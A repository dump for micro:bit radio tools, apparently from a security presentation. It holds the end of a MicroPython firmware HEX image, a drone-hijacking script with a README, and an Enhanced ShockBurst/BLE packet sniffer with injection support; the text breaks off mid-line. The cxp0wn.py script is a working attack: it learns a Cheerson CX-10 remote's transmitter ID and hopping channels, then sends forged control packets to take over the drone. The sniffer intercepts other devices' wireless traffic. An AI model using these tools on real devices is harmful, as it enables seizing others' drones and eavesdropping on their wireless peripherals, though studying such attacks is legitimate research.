6C00F908726561646C696E65004B0854\n:107CC00072656164696E746F006A034F444400DD3D\n:107CD000044556454E004A0B4D6963726F42697404\n:107CE00053504900CF037370690026046D6F6465BB\n:107CF00000720473636C6B001D046D6F7369009DEB\n:107D0000046D69736F00890E77726974655F7265BF\n:107D10006164696E746F0069086E656F706978657B\n:107D20006C0069084E656F506978656C007C05636E\n:107D30006C65617200BE0672616E646F6D00660BE9\n:107D400067657472616E646269747300920473652E\n:107D5000656400A30972616E6472616E676500AF4D\n:107D60000772616E64696E74002E0663686F6963E2\n:107D700065000107756E69666F726D005305617568\n:107D800064696F00AE0A417564696F4672616D6522\n:107D900000270A72657475726E5F70696E00B806AE\n:107DA000736F75726365005608636F707966726FE2\n:107DB0006D00A2046E616D650079026F7300B705F6\n:107DC000756E616D65000B0B6D6963726F70797410\n:107DD000686F6E009B077379736E616D6500620852\n:107DE0006E6F64656E616D6500EC0772656C656150\n:107DF000736500BF0776657273696F6E001A07427C\n:107E000079746573494F001E0654657874494F00B4\n:107E1000F7087772697461626C650098076C697322\n:107E2000746469720060076D616368696E65002043\n:107E30000473697A6500040A69735F706C6179691B\n:107E40006E67006D0673706565636800AE037361ED\n:107E50007900940970726F6E6F756E636500B60479\n:107E600073696E670031067468726F6174006E0525\n:107E70006D6F757468006205737065656400D40584\n:107E800064656275670043097472616E736C617436\n:107E90006500D405726164696F004F06636F6E669A\n:107EA000696700BF0A73656E645F62797465730009\n:107EB000880D726563656976655F627974657300C4\n:107EC000B90473656E64004E077265636569766513\n:107ED000006B12726563656976655F6279746573BC\n:107EE0005F696E746F00020C726563656976655F29\n:107EF00066756C6C0059066C656E67746800940555\n:107F000071756575650026076368616E6E656C0046\n:107F1000DA05706F77657200A809646174615F7239\n:107F20006174650073076164647265737300BA05F8\n:107F300067726F7570007B0C524154455F3235306B\n:107F40004B42495400DB0A524154455F314D42498E\n:107F50005400580A524154455F324D424954002D55\n:107F60000F41726974686D657469634572726F72EE\n:107F700000970E417373657274696F6E4572726F0C\n:107F80007200210E41747472696275746545727273\n:107F90006F7200070D42617365457863657074699F\n:107FA0006F6E009108454F464572726F7200F0087F\n:107FB000456C6C697073697300F20945786365708C\n:107FC00074696F6E00160D47656E657261746F722D\n:107FD0004578697400200B496D706F727445727238\n:107FE0006F72005C10496E64656E746174696F6EC7\n:107FF0004572726F7200830A496E646578457272C9\n:108000006F7200EA084B65794572726F7200AF11AA\n:108010004B6579626F617264496E746572727570D6\n:108020007400FF0B4C6F6F6B75704572726F72004E\n:10803000DC0B4D656D6F72794572726F7200BA0913\n:108040004E616D654572726F720017084E6F6E65F6\n:108050005479706500C6134E6F74496D706C656D10\n:10806000656E7465644572726F7200A1074F534567\n:1080700072726F7200F00B4F7264657265644469CE\n:10808000637400810D4F766572666C6F774572720E\n:108090006F7200610C52756E74696D654572726F16\n:1080A0007200EA0D53746F70497465726174696F80\n:1080B0006E00940B53796E7461784572726F720022\n:1080C000200A53797374656D4578697400250954E5\n:1080D0007970654572726F7200220C556E69636F1C\n:1080E00064654572726F7200960A56616C756545DB\n:1080F00072726F7200B6115A65726F446976697355\n:10810000696F6E4572726F7200C4075F5F6164646D\n:108110005F5F002B085F5F626F6F6C5F5F00420FF5\n:108120005F5F6275696C645F636C6173735F5F004E\n:10813000A7085F5F63616C6C5F5F002B095F5F6323\n:108140006C6173735F5F00C60C5F5F636F6E746119\n:10815000696E735F5F00FD0B5F5F64656C697465DA\n:108160006D5F5F006D095F5F656E7465725F5F00D4\n:1081700071065F5F65715F5F0045085F5F657869E5\n:10818000745F5F00A7065F5F67655F5F00400B5F1E\n:108190005F676574617474725F5F00260B5F5F6771\n:1081A00065746974656D5F5F00B6065F5F67745FD5\n:1081B0005F00F7085F5F686173685F5F00380A5FA0\n:1081C0005F696D706F72745F5F005F085F5F696EFB\n:1081D00069745F5F00CF085F5F697465725F5F00FD\n:1081E000CC065F5F6C655F5F00E2075F5F6C656E8A\n:1081F0005F5F005D065F5F6C745F5F008E085F5FAE\n:108200006D61696E5F5F00FF0A5F5F6D6F64756C23\n:10821000655F5F00E2085F5F6E616D655F5F0079BB\n:10822000075F5F6E65775F5F0002085F5F6E65786E\n:10823000745F5F00C8085F5F706174685F5F006BA8\n:108240000C5F5F7175616C6E616D655F5F00010E43\n:108250005F5F7265706C5F7072696E745F5F001053\n:10826000085F5F726570725F5F00610C5F5F7265CF\n:108270007665727365645F5F00320B5F5F73657470\n:108280006974656D5F5F00D0075F5F7374725F5FD5\n:108290000021075F5F7375625F5F004F0D5F5F7462\n:1082A000726163656261636B5F5F00950361627316\n:1082B000001B0461636F7300440361646400A805DC\n:1082C000616C69676E004403616C6C009104616EBF\n:1082D000645F006B06617070656E6400C204617259\n:1082E0006773007C05617272617900500461736983\n:1082F0006E00430961736D5F7468756D620065039C\n:10830000617372001F046174616E00CD0561746158\n:108310006E3200E00362696E00CB02626C00EB0417\n:10832000626F6F6C00970C626F756E645F6D657441\n:10833000686F6400F7086275696C74696E7300DFBA\n:1083400002627800760962797465617272617900FF\n:10835000220862797465636F6465006109627974EB\n:10836000656F72646572005C056279746573004DB7\n:108370000863616C6373697A65000D0863616C6CF6\n:1083800061626C650006046365696C00DC03636808\n:108390007200B40B636C6173736D6574686F640015\n:1083A0003305636C6F7365007407636C6F7375726C\n:1083B00065005003636C7A003B03636D70009B079C\n:1083C000636F6C6C65637400C005636F6E737400DB\n:1083D0003308636F70797369676E007A03636F7334\n:1083E00000A605636F756E7400E8056370736964B9\n:1083F00000E90563707369650015046461746100C8\n:10840000CE0764656661756C740002076465677207\n:10841000656573003F0464696374002D09646963D2\n:10842000745F7669657700720A646966666572656D\n:108430006E6365009C11646966666572656E63654E\n:108440005F75706461746500FA0364697200910776\n:1084500064697361626C6500040B64697361626CCA\n:10846000655F697271000F0764697363617264000C\n:10847000B8066469766D6F64000406656E61626CAF\n:108480006500910A656E61626C655F697271000AD0\n:1084900003656E64001B08656E6473776974680019\n:1084A0007109656E756D6572617465009B04657612\n:1084B000616C001E046578656300850465786974E5\n:1084C00000C803657870006306657874656E6400A3\n:1084D00093046661627300250666696C74657200B8\n:1084E000010466696E64003505666C6F6174007D19\n:1084F00005666C6F6F7200E504666D6F640026069A\n:10850000666F726D6174001C056672657870003567\n:108510000A66726F6D5F6279746573003708667200\n:108520006F6D6B65797300ED0966726F7A656E73B6\n:10853000657400270866756E6374696F6E0061026A\n:10854000676300960967656E657261746F720033C8\n:108550000367657400C00767657461747472009D79\n:1085600007676C6F62616C73008C0768617361747C\n:10857000747200B7046861736800AD096865617062\n:108580005F6C6F636B00560B686561705F756E6C36\n:108590006F636B00700368657800280269640017D8\n:1085A0000E696D706C656D656E746174696F6E00D7\n:1085B0007B05696E646578001206696E7365727476\n:1085C000001603696E7400280C696E746572736519\n:1085D0006374696F6E000613696E74657273656308\n:1085E00074696F6E5F75706461746500EB07697321\n:1085F000616C70686100A8076973646967697400D9\n:10860000F70A69736469736A6F696E74009A09691D\n:1086100073656E61626C656400A608697366696E55\n:10862000697465003E056973696E6600B60A697310\n:10863000696E7374616E636500FC0769736C6F77B4\n:108640006572009E0569736E616E005B07697373E6\n:108650007061636500B50A6973737562636C6173F9\n:108660007300B908697373756273657400FC0A69F5\n:1086700073737570657273657400DD076973757067\n:1086800070657200E3056974656D73008F04697429\n:1086900065720047086974657261746F7200A7049F\n:1086A0006A6F696E00F6086B62645F696E747200CF\n:1086B00032036B65790001046B6579730043056CC7\n:1086C0006162656C0040056C64657870005F036CE6\n:1086D0006472005D046C64726200E2056C64726531\n:1086E000780057046C6472680062036C656E002742\n:1086F000046C6973740089066C6974746C65003B62\n:10870000066C6F63616C730021036C6F6700C605B4\n:108710006C6F77657200B6036C736C00A8036C73A2\n:108720007200E5066C737472697000B9036D617054\n:108730000035046D61746800B1036D617800200339\n:108740006D656D0007056D656D31360041056D6520\n:108750006D33320018046D656D380052096D656D1A\n:108760005F616C6C6F6300CB086D656D5F667265F1\n:108770006500D1086D656D5F696E666F00AF036D52\n:10878000696E0025046D6F646600BF066D6F6475C9\n:108790006C6500EC076D6F64756C657300F1036DBB\n:1087A0006F760065046D6F76740066046D6F767782\n:1087B0000052056D6F7677740089036D7273001E29\n:1087C0000A6E616D65647475706C650042046E6557\n:1087D000787400B4036E6F700090066F626A656310\n:1087E0007400FD036F637400D1046F70656E0087C1\n:1087F000096F70745F6C6576656C001C036F726442\n:1088000000BC047061636B001F097061636B5F697A\n:108810006E746F001C027069003A08706C617466B7\n:108820006F726D002A03706F7000BF07706F706900\n:1088300074656D002D03706F770054057072696E5A\n:1088400074001C0F7072696E745F65786365707474\n:10885000696F6E00BB047075736800B00971737442\n:10886000725F696E666F00870772616469616E731B\n:10887000001A0572616E676500E80472626974002F\n:108880005F10726561645F6C696768745F6C6576C0\n:10889000656C00630672656D6F76650049077265E9\n:1088A000706C61636500D004726570720025077298\n:1088B00065766572736500A1087265766572736589\n:1088C0006400D2057266696E6400E90672696E64BE\n:1088D000657800E705726F756E6400A506727370A7\n:1088E0006C6974003B06727374726970001A0473C9\n:1088F00063616E00CD047364697600230373657051\n:1089000000270373657400D407736574617474720F\n:10891000006C0A73657464656661756C7400B103FC\n:1089200073696E000B08736C6565705F6D7300137F\n:1089300008736C6565705F757300BF04736F727444\n:10894000005E06736F7274656400B70573706C69BE\n:108950007400210473717274009709737461636BFE\n:108960005F75736500740A737461727473776974E8\n:108970006800620C7374617469636D6574686F6418\n:1089800000570473746570005003737472003204EE\n:108990007374726200AD0573747265780038047385\n:1089A000747268002905737472697000210373750D\n:1089B00062002E0373756D00C405737570657200D7\n:1089C000CE1473796D6D65747269635F64696666F0\n:1089D0006572656E636500601B73796D6D65747299\n:1089E00069635F646966666572656E63655F75700D\n:1089F0006461746500BC0373797300FE0374616E77\n:108A000000F2097468726573686F6C6400B3057472\n:108A100068726F77009D097469636B735F6164644A\n:108A200000B10A7469636B735F646966660042082B\n:108A30007469636B735F6D73005A087469636B7359\n:108A40005F757300F00474696D6500890D74696D5C\n:108A5000655F70756C73655F757300D808746F5FC0\n:108A60006279746573005B057472756E6300FD0551\n:108A70007475706C65009D047479706500150C75D3\n:108A8000636F6C6C656374696F6E73008B047564DF\n:108A9000697600E30475696E7400F605756E696F9A\n:108AA0006E000409756E697175655F69640007067B\n:108AB000756E7061636B000E0B756E7061636B5F3A\n:108AC00066726F6D00B40675706461746500270589\n:108AD0007570706572004707757374727563740002\n:108AE000E5057574696D65004E0576616C75650008\n:108AF0007D0676616C756573006E0C7665727369C0\n:108B00006F6E5F696E666F009D0377666900E603AE\n:108B10007A6970001703637263004F08736E6966A9\n:108B2000665F6F6E00E103726177007103657362C7\n:108B300000F402736200FE026378004E03626C650B\n:108B400000D106626C655F6C6C00550470696E67DD\n:108B500000D105736E69666600312E302E31006DCE\n:108B60006963726F3A6269742076312E302E312B30\n:108B7000306363633763312D6469727479206F6E7B\n:108B800020323031392D30392D30343B204D69635E\n:108B9000726F507974686F6E2076312E392E322DB7\n:108BA00033342D67643634313534633733206F6E98\n:108BB00020323031372D30392D3031006D696372FC\n:108BC0006F3A6269742077697468206E5246353155\n:108BD00038323200202020202020202000080808E1\n:108BE0000808080808006368722829206172672055\n:108BF0006E6F7420696E2072616E676528307831FF\n:108C00003130303030290061726720697320616E25\n:108C100020656D7074792073657175656E6365008C\n:108C20006F726428292065787065637465642061BB\n:108C3000206368617261637465722C2062757420B0\n:108C4000737472696E67206F66206C656E677468F6\n:108C500020256420666F756E6400332D6172672075\n:108C6000706F772829206E6F7420737570706F7223\n:108C7000746564006D75737420757365206B657918\n:108C8000776F726420617267756D656E7420666FB0\n:108C900072206B65792066756E6374696F6E00284B\n:108CA000295B5D7B7D2C3A3B407E3C653D633C65AA\n:108CB0003D3E653D633E653D2A653D632A653D2B2E\n:108CC000653D2D653D653E26653D7C653D2F653DD9\n:108CD000632F653D25653D5E653D3D653D212E006B\n:108CE000756E69636F6465206E616D652065736381\n:108CF00061706573005F5F64656275675F5F0061E7\n:108D00006E640061730061737365727400627265F2\n:108D1000616B00636F6E74696E75650064656C00ED\n:108D2000656C696600656C73650065786365707471\n:108D30000066696E616C6C79006C616D62646100E3\n:108D40006E6F740072657475726E007969656C641B\n:108D50000042434445464748494B4C3D363E375810\n:108D6000383F3957315032592F4E304F5A3A543BD1\n:108D7000553351345235533C564D400000040202E5\n:108D800004020000020404040002020004040301BF\n:108D900000000103030300010102030304020101B7\n:108DA00003010403010003000004010102000003A9\n:108DB000021B1B000E11000000000008080800083C\n:108DC0000A4A4000000A5FEA5FEA0ED92ED36E1904\n:108DD000324489330C924C924D08080000000488FC\n:108DE0000808040804848488000A448A4000048E29\n:108DF000C480000000048800000EC00000000008CD\n:108E00000001224488100C9252524C048C84848EAF\n:108E10001C824C901E1EC244924C06CA525FE21F36\n:108E2000F01EC13E02448ED12E1FE24488100ED1A6\n:108E30002ED12E0ED12EC488000800080000048018\n:108E400004880244880482000EC00EC008048244D4\n:108E5000880ED126C0040ED135B36C0C925ED2526E\n:108E60001C925C925C0ED010100E1C9252525C1E32\n:108E7000D01C901E1ED01C90100ED013712E1252BA\n:108E80005ED2521C8808081C1FE242524C125498B1\n:108E90001492101010101E113B75B131113935B3F9\n:108EA000710C9252524C1C925C90100C92524C8657\n:108EB0001C925C92510ED00C825C1FE4848484125C\n:108EC0005252524C1131312A44113135BB71125278\n:108ED0004C9252112A4484841EC488101E0EC80865\n:108EE000080E10080482410EC242424E048A40001D\n:108EF00000000000001F0804800000000ED2524F46\n:108F000010101C925C000ED0100E02424ED24E0C7D\n:108F1000925C900E06C81C88080ED24EC24C1010EF\n:108F20001C92520800080808024002424C10149893\n:108F300014920808080806001B75B131001C9252F3\n:108F400052000C92524C001C925C90000ED24EC209\n:108F5000000ED010100006C8049808080EC80700BC\n:108F60001252524F0011312A4400113135BB001208\n:108F70004C8C9200112A4498001EC4881E06C48C92\n:108F80008486080808080818080C881800000C8354\n:108F900060302C3235352C302C3235352C300A30BF\n:108FA0002C3235352C302C3235352C300A302C30E3\n:108FB0002C302C302C300A3235352C302C302C30E3\n:108FC0002C3235350A302C3235352C3235352C32B1\n:108FD00035352C300A0054494C5420544F20464912\n:108FE0004C4C2053435245454E2000636F6D7061D9\n:108FF000737343616C000000010002000300040071\n:109000000001010102010301040100020102020248\n:109010000302040200030103020303030403000428\n:1090200001040204030404044E6F20617661696C3C\n:1090300061626C652049324300000204064F6E6C89\n:1090400079203862697473205350492073757070A9\n:109050006F727465640053504920666F726D61745D\n:10906000206572726F72004E6F20617661696C616B\n:10907000626C65205350490070696E6D6170206E9E\n:109080006F7420666F756E6420666F7220706572F3\n:109090006970686572616C00232D302B2000686C4C\n:1090A0004C0065666745464700303132333435360B\n:1090B0003738394142434445460030313233343544\n:1090C000363738396162636465660000000000006D\n:1090D0003870FC7F010000000000000048AB020077\n:1090E000000000000000000000000000A8B2020024\n:1090F000710F03002A3C0300E80300000CC40200C7\n:10910000000000000000000000000000000000005F\n:10911000000000000000000000000100000000004E\n:10912000000000000000000000000000000000003F\n:10913000000000008570020085700200857002004A\n:10914000B68D03007000002000000000CCFE02007D\n:10915000ECFE0200ACFE0200000000000000000077\n:1091600000000000000000000000000000000000FF\n:1091700000000000000000000000000000000000EF\n:1091800000000000000000000000000000000000DF\n:1091900000000000000000000000000000000000CF\n:1091A0000000000000000000204EFFFF0000000053\n:1091B0000101010101010101010505050505050583\n:1091C00005010101FF000004FF000000E9000000AC\n:1091D0007D2D0100C9540100B95A0100A56C0100A0\n:1091E0007D6E0100CD6E010019940100C1000000E8\n:020000041000EA\n:1010C0007CB0EE17FFFFFFFF0A0000000000E50004\n:0C10D000FFFFFFFF5F8B0300000000002B\n:0400000500019999C4\n:00000001FF\n"
  },
  {
    "path": "tools/cheerson-cx10/README.md",
    "content": "Cheerson CX-10 hijacking firmware\n=================================\n\nYou need to wire your BBC Micro:Bit to a real remote controller as described in the presentation.\nMake sure to unsolder the original SoC to get it working.\n\nProgram your BBC Micro:Bit with this python code and enjoy :)\n\nPlease note this hack may not work on some versions of Cheerson CX-10 (like the green one), but it is\nmostly due to the default center values of the joysticks used.\n\nIf you manage to get it working with other CX-10 versions, feel free to make a PR !\n"
  },
  {
    "path": "tools/cheerson-cx10/cxp0wn.py",
    "content": "from microbit import *\nimport radio\n\ndef readhex(n):\n    c = uart.read(2)\n    if c is not None and len(c) == 2:\n        return bytes([int(c,16)])\n    return None\n\nuart.init(baudrate=115200)\n\nradio.on()\nradio.cx()\nradio.config(channel=2)\n\nfound = False\ntxid = None\naid = None\nchannel = 3\ntimeout = 24\nlast=running_time()\nwhile not found:\n    now = running_time()\n    if (now - last)>24:\n        channel += 1\n        if channel > 80:\n            channel = 3\n        last = now\n        radio.config(channel=channel)\n    pkt = radio.receive()\n    if pkt is not None:\n        if pkt[0]==0x55:\n            # check if current channel matches txid\n            txid = list(pkt[1:5])\n            channels = [\n                (txid[0]&0x0f)+0x3,\n                (txid[0]>>4)+0x16,\n                (txid[1]&0x0f)+0x2d,\n                (txid[1]>>4)+0x40\n            ]\n            if channel in channels:\n                found = True\n                aid = list(pkt[5:9])\n\nchannels = [\n    (txid[0]&0x0f)+0x3,\n    (txid[0]>>4)+0x16,\n    (txid[1]&0x0f)+0x2d,\n    (txid[1]>>4)+0x40\n]\n\nasked  = False\nlast_asked = running_time()\nb = b''\np = b''\n\n# reinit radio\ncounter = 0\nradio.config(channel=channels[counter])\nradio.cx()\n\nt = 0x3c9\nl = running_time()\n\nt,r,e,a = 0,0,0,0\nctl = 0\n\ndisplay.show(Image.HAPPY)\n\n# sync\npkt = None\nwhile pkt is None:\n    pkt = radio.receive()\nnext_at = running_time()+6\n\nwhile True:\n    now = running_time()\n    if now >= next_at:\n        next_at = next_at + 6\n        counter = (counter + 1)%4\n        radio.config(channel=channels[counter])\n        radio.send(p)\n        ctl = 0\n\n    if ctl == 0:\n        t = pin0.read_analog()\n        t = int(2031 * (t/1023)) + 0x386\n        r = pin4.read_analog()\n        r = int(3000 * (r/1034))\n        ctl += 1\n    elif ctl == 1:\n        e = pin10.read_analog()\n        e = int(3000 * (e/1023))\n        a = pin1.read_analog()\n        a = int(3000 * (a/1023))\n        p = bytes([0x55] + txid + aid + [a&0xff, a>>8, e&0xff, e>>8, t&0xff, t>>8, r&0xff, r>>8, 0x00, 0x00])\n        ctl = 2\n"
  },
  {
    "path": "tools/ubit-sniffer/README.md",
    "content": "Micro:Bit ESB/SB/BLE/raw sniffer\n================================\n\nThis tool comes into two parts:\n\n* the first one is a middleware you need to put in your Micro:Bit along with the Radiobit firmware\n* the second is a classic Python2.x (shame on me) CLI you may use to sniff\n\nThis tool supports different data rates:\n\n* 2 MBit/s\n* 1 MBit/s\n* 250 Kbit/s\n* Bluetooth Low Energy specific data_rate\n\nBe careful while sniffing Bluetooth Low Energy communications, the provided channel is understood as a BLE channel number !\n\nHow to flash your Micro:Bit with the right middleware\n-----------------------------------------------------\n\nSimply use *uflash*:\n\n```\n$ uflash -r precompiled/radiobit.hex tools/ubit-sniffer/middleware/ubit-sniffer-mw.py\n```\n"
  },
  {
    "path": "tools/ubit-sniffer/middleware/ubit-sniffer-mw.py",
    "content": "\"\"\"\nMicro:bit ESB sniffer optimized Middleware\n\nThis piece of software sniffs ESB packets and provides\nan UART interface.\n\"\"\"\nfrom microbit import *\nimport radio\n\nclass Globals:\n    # GLOBALS\n    RATE = radio.RATE_2MBIT\n    CHANNEL = 1\n    TARGET = None\n\n    # 0 - scan, 1 - follow MAC, 2 - listen channel\n    MODE = 0\n\ndef readhex(n):\n    \"\"\"\n    Read n bytes from hex\n    \"\"\"\n    o = b''\n    while len(o) < 2*n:\n        p = uart.read(2*n - len(o))\n        if p is not None:\n            o += p\n    return h2b(o)\n\ndef h2b(h):\n    \"\"\"\n    Quick convert hex string to bytes\n    \"\"\"\n    nb = int(len(h)/2)\n    o = bytearray()\n    for i in range(nb):\n        o.append(int(h[2*i:2*i+2],16))\n    return o\n\ndef reset(rate=radio.RATE_2MBIT, raw=0):\n    \"\"\"\n    Reset UART & sniffer\n    \"\"\"\n    Globals.RATE = rate\n    Globals.MODE = 0\n    Globals.TARGET = None\n    Globals.CHANNEL = 1\n\n    uart.init(baudrate=115200)\n    radio.off()\n    radio.on()\n    radio.config(data_rate=rate, channel=Globals.CHANNEL, raw=raw)\n    radio.sniff_on()\n    radio.config(data_rate=rate, channel=Globals.CHANNEL, raw=raw)\n    radio.sniff_on()\n\ndef set_channel(channel):\n    \"\"\"\n    Set ESB channel (1-100)\n    \"\"\"\n    Globals.CHANNEL = channel\n    radio.config(channel = Globals.CHANNEL)\n\ndef follow_target(target):\n    \"\"\"\n    Follow target\n    \"\"\"\n\n    # convert target bytes to address/group values\n    addr  = target[0]<<24\n    addr |= target[1]<<16\n    addr |= target[2]<<8\n    addr |= target[3]\n    group = target[4]\n\n    # config radio\n    radio.config(\n        data_rate=Globals.RATE,\n        address=addr,\n        group=group,\n        channel=Globals.CHANNEL\n    )\n    radio.esb()\n    # if mode is 2, keep with this mode (no channel loop)\n    if Globals.MODE == 0:\n        Globals.MODE = 1\n\n# main routine\nreset()\ntimeout = 200\nping_timeout = 1000\nlast = running_time()\nwhile True:\n    # check if we got a command on serial port\n    if uart.any():\n\n        # First hex byte => size\n        header = readhex(1)\n\n        # compute size\n        size = header[0]\n\n        if size > 0:\n            # read and decode\n            payload = readhex(size)\n\n            # process command\n            cmd = payload[0]\n            if cmd == 0x72 and size >=3:\n                rate = payload[1]\n                raw = payload[2]\n                # reset cmd\n                reset(raw=raw,rate=rate)\n                uart.write(b'r')\n            elif cmd == 0x63 and size >= 2:\n                # channel is placed in the next byte\n                channel = payload[1]\n                set_channel(channel)\n                uart.write(b'c')\n            elif cmd == 0x66 and size >= 6:\n                # address selection\n                follow_target(payload[1:6])\n                uart.write(b'f')\n            elif cmd == 0x70:\n                # read packet buffer\n                pkt = radio.receive()\n                if pkt is not None:\n                    if Globals.MODE == 0:\n                        uart.write(b'p' + chr(len(pkt)+1) + chr(Globals.CHANNEL) + pkt)\n                    else:\n                        uart.write(b'p' + chr(len(pkt)+1) + chr(Globals.CHANNEL) + pkt)\n                else:\n                    uart.write(b'p'+chr(0))\n            elif cmd == 0x74:\n                found = False\n                for i  in range(1,100):\n                    radio.config(channel=i)\n                    if radio.ping():\n                        uart.write(b't'+chr(i))\n                        found = True\n                        break\n                if not found:\n                    uart.write(b't'+chr(101))\n            elif cmd == 0x73:\n                data = bytes(payload[2:])\n                radio.send_bytes(data)\n                uart.write(b's')\n            elif cmd == 0x6D and size >= 2:\n                mode = payload[1]\n                if mode == 0:\n                    reset()\n                elif mode == 1:\n                    Globals.MODE = 1 # disable scan\n                else:\n                    Globals.MODE = 2\n                uart.write(b'm')\n            elif cmd == 0x62 and size >= 2:\n                rate = payload[1]\n                if rate>=0 and rate<=2:\n                    Globals.RATE = rate\n                uart.write(b'b')\n\n    # loop on channels if scan mode\n    if Globals.MODE == 0:\n        now = running_time()\n        if (now - last) > timeout:\n            last = now\n            c = Globals.CHANNEL + 1\n            if c > 100:\n                c = 1\n            set_channel(c)\n    elif Globals.MODE == 1:\n        now = running_time()\n        if (now - last) > ping_timeout:\n            for i in range(1,100):\n                radio.config(channel=i)\n                if radio.ping():\n                    Globals.CHANNEL = i\n                    last = now\n                    break\n"
  },
  {
    "path": "tools/ubit-sniffer/ubit-sniffer.py",
    "content": "\"\"\"\nPython2.x client for the Micro:Bit sniffer firmware.\n\nStill some work to do: add a cool display mode for raw packets.\n\"\"\"\n\nimport serial\nimport argparse\nfrom time import sleep, time\nfrom struct import pack\n\nclass TargetError(Exception):\n    \"\"\"\n    Bad Target.\n    \"\"\"\n    def __init__(self):\n        Exception.__init__(self)\n\nclass ChannelError(Exception):\n    \"\"\"\n    Wrong channel\n    \"\"\"\n    def __init__(self):\n        Exception.__init__(self)\n\nclass ESBSniffer(object):\n    \"\"\"\n    EnhancedShockBurst/ShockBurst/BLELL sniffer interface.\n\n    This class drives the Micro:Bit running our middleware to sniff\n    various types of packets.\n\n    A *send* method is also provided, allowing you to send specifically\n    crafted packets through the middleware (but expect timing issues).\n    \"\"\"\n\n    def __init__(self, device, timeout=5):\n        \"\"\"\n        Initialize our device, default mode and rate.\n        \"\"\"\n        self.dev = serial.Serial(device, 115200, timeout=1)\n        self.mode = 0 # 0 - sniff, 1 - follow\n        self.channel = 0\n        self.rate = 1\n        self.addr = '0000000000'.decode('hex')\n\n    def _send(self, buf):\n        \"\"\"\n        Send buffer to middleware.\n        \"\"\"\n        enc_buf = '%02x'%len(buf) + buf.encode('hex')\n        #print enc_buf\n        self.dev.write(enc_buf)\n\n    def read(self, size):\n        \"\"\"\n        Read size bytes from uart.\n        \"\"\"\n        out = ''\n        while len(out) < size:\n            out += self.dev.read(size - len(out))\n            #print out\n        return out\n\n    def close(self):\n        self.dev.close()\n\n    def _ack(self, op):\n        \"\"\"\n        Acknowledge op.\n        \"\"\"\n        #self.dev.flush()\n        ack = ''\n        while (ack != op):\n            ack = self.read(1)\n        #print 'ack %s (%s)' % (ack,op)\n\n    def flush(self):\n        self.dev.flush()\n\n    def reset(self, raw=0, rate=1):\n        self.flush()\n        self._send('r'+chr(rate)+chr(raw))\n        self._ack('r')\n        self.mode = 0\n\n    def set_rate(self, rate):\n        \"\"\"\n        Set rate\n        \"\"\"\n        self._send('b'+chr(rate))\n        self._ack('b')\n        self.rate = rate\n\n    def set_channel(self, channel):\n        \"\"\"\n        Set channel\n        \"\"\"\n        self._send('c'+chr(channel))\n        self._ack('c')\n        self.channel = channel\n\n    def set_address(self, address):\n        \"\"\"\n        Set address\n        \"\"\"\n        addr = pack('>I', (address >> 8))\n        group = pack('>B', address&0x00000000FF)\n        self._send('f'+addr+group)\n        self._ack('f')\n        self.mode = 1\n        self.addr = addr+group\n\n    def lock_channel(self):\n        \"\"\"\n        Set channel lock\n        \"\"\"\n        self._send('m\\x02')\n        self._ack('m')\n\n    def ping(self):\n        \"\"\"\n        If address has been set, tune the sniffer to the correct\n        channel the device has been found on.\n        \"\"\"\n        self._send('t')\n        self._ack('t')\n        channel = ord(self.read(1))\n        if channel != 101:\n            self.channel = channel\n            return channel\n        else:\n            return None\n\n    def receive(self):\n        \"\"\"\n        Receive packets\n        \"\"\"\n        self._send('p')\n        pkt = self.read(1)\n        if pkt=='p':\n            size = self.read(1)\n            if size != '':\n                size = ord(size)\n                if size>0:\n                    data = self.read(size)\n                    return data\n                else:\n                    return None\n            else:\n                return None\n        else:\n            return None\n\n    def send(self, data):\n        \"\"\"\n        Send data\n        \"\"\"\n        self._send('s'+chr(len(data))+data)\n        return (self.read(1) == 's')\n\nif __name__ == '__main__':\n\n\n    parser = argparse.ArgumentParser(\n        description='Micro:bit Enhanced ShockBurst Sniffer'\n    )\n    parser.add_argument(\n        '--device', '-d',\n        type=str,\n        dest='device',\n        action='store',\n        default='/dev/ttyACM0',\n        help='Serial device to use (/dev/ttyACM0 by default)'\n    )\n    parser.add_argument(\n        '--target', '-t',\n        dest='target',\n        required=False,\n        help='Target MAC'\n    )\n    parser.add_argument(\n        '--channel', '-c',\n        dest='channel',\n        type=int,\n        required=False,\n        help='Channel to sniff on'\n    )\n    parser.add_argument(\n        '--data-rate','-b',\n        dest='rate',\n        type=int,\n        default=1,\n        required=False,\n        help='Set data rate, 0: 1MBit | 1: 2MBit | 2: 250Kbit | 3: BLE LinkLayer'\n    )\n    parser.add_argument(\n        '--raw', '-r',\n        dest='raw',\n        action='store_true',\n        required=False,\n        help='Sniff raw packets (SB, ESB, BLE LinkLayer)'\n    )\n    args = parser.parse_args()\n    try:\n        print '\\033[1muBit sniffer uses device %s\\033[0m' % args.device\n        print '\\033[1minitializing device ...\\033[0m'\n        sniffer  = ESBSniffer(args.device)\n        sniffer.reset(raw=args.raw,rate=args.rate)\n        channel = 1\n        rates = ['1Mbit', '2Mbit','250Kbit','BLE LL']\n        print '\\033[1mSelecting rate: %s\\033[0m' % rates[args.rate]\n\n        if args.channel is not None:\n            if args.channel >= 0 and args.channel <= 100:\n                sniffer.set_channel(args.channel)\n                sniffer.lock_channel()\n            else:\n                raise ChannelError()\n\n        if args.target is not None:\n            target = int(args.target, 16)\n            if target<0xffffffffff:\n                sniffer.set_address(target)\n                print '\\033[1mStarting following target \\033[92m%s\\033[0m\\033[1m ...\\033[0m\\033[0m' % hex(target)\n            else:\n                raise TargetError()\n        else:\n            print '\\033[1mStarting sniffing ...\\033[0m'\n\n        print ''\n        while True:\n            pkt = sniffer.receive()\n            if pkt is not None:\n                if sniffer.mode == 0:\n                    channel = ord(pkt[0])\n                    addr = pkt[1:6]\n                    data = pkt[6:]\n                    print '\\033[92m%03d\\033[0m \\033[95m%02x%02x%02x%02x%02x >\\033[0m\\033[0m %s' % (\n                        channel,\n                        ord(addr[0]),\n                        ord(addr[1]),\n                        ord(addr[2]),\n                        ord(addr[3]),\n                        ord(addr[4]),\n                        data.encode('hex')\n                    )\n                else:\n                    channel = ord(pkt[0])\n                    print '\\033[92m%03d\\033[0m \\033[95m%02x%02x%02x%02x%02x >\\033[0m\\033[0m %s' % (\n                        channel,\n                        ord(sniffer.addr[0]),\n                        ord(sniffer.addr[1]),\n                        ord(sniffer.addr[2]),\n                        ord(sniffer.addr[3]),\n                        ord(sniffer.addr[4]),\n                        pkt[1:].encode('hex')\n                    )\n    except ChannelError as error:\n        print('\\033[91mWrong channel: %d\\033[0m' % args.channel)\n    except TargetError as error:\n        print('\\033[91mWrong target: %s\\033[0m' % args.target)\n    except KeyboardInterrupt as error:\n        print('\\033[1mTerminating sniffing ...\\033[0m')\n        sniffer.close()\n    except serial.serialutil.SerialException as error:\n        print('\\033[91mDevice not 